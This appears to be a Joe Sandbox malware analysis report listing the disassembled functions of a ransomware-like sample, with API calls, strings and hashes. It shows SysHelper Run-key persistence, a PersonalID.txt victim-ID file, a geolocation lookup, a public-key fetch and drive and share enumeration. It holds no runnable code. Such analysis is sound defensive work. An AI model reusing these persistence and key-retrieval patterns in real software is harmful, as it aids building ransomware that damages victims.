Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: e2deaf627a7e3b3d51f0c7fa96b976d863de6944f728a2cee6f3c5f3a0c60e18
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: e2deaf627a7e3b3d51f0c7fa96b976d863de6944f728a2cee6f3c5f3a0c60e18
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 34fa4693d53140cc8ead5d83f6448e57a7cf9ca0573fe194c35eedd4275944b6
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 34fa4693d53140cc8ead5d83f6448e57a7cf9ca0573fe194c35eedd4275944b6
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 024b3a2441e03450481d723056a2cea3042cedec5767afe888cd0bf94bcd87ca
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 024b3a2441e03450481d723056a2cea3042cedec5767afe888cd0bf94bcd87ca
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: 9dc020692cef374b1a029ecce09718c48db432c7c863de169bbf62cfcefd06b8
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: 9dc020692cef374b1a029ecce09718c48db432c7c863de169bbf62cfcefd06b8
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 7e3546227060cc9c05aa29c6dd030ea43cb70f558f56a0c6a560f6836b52baa2
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 7e3546227060cc9c05aa29c6dd030ea43cb70f558f56a0c6a560f6836b52baa2
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 655922ba7eada9e015bd7498c3646e56aa1dc1e64ba6d51293a75f15e32478eb
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 655922ba7eada9e015bd7498c3646e56aa1dc1e64ba6d51293a75f15e32478eb
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 1448340e5504f70565a9a6c15d6da514673213274eacc8dd7078b0a9a5b36986
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 1448340e5504f70565a9a6c15d6da514673213274eacc8dd7078b0a9a5b36986
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

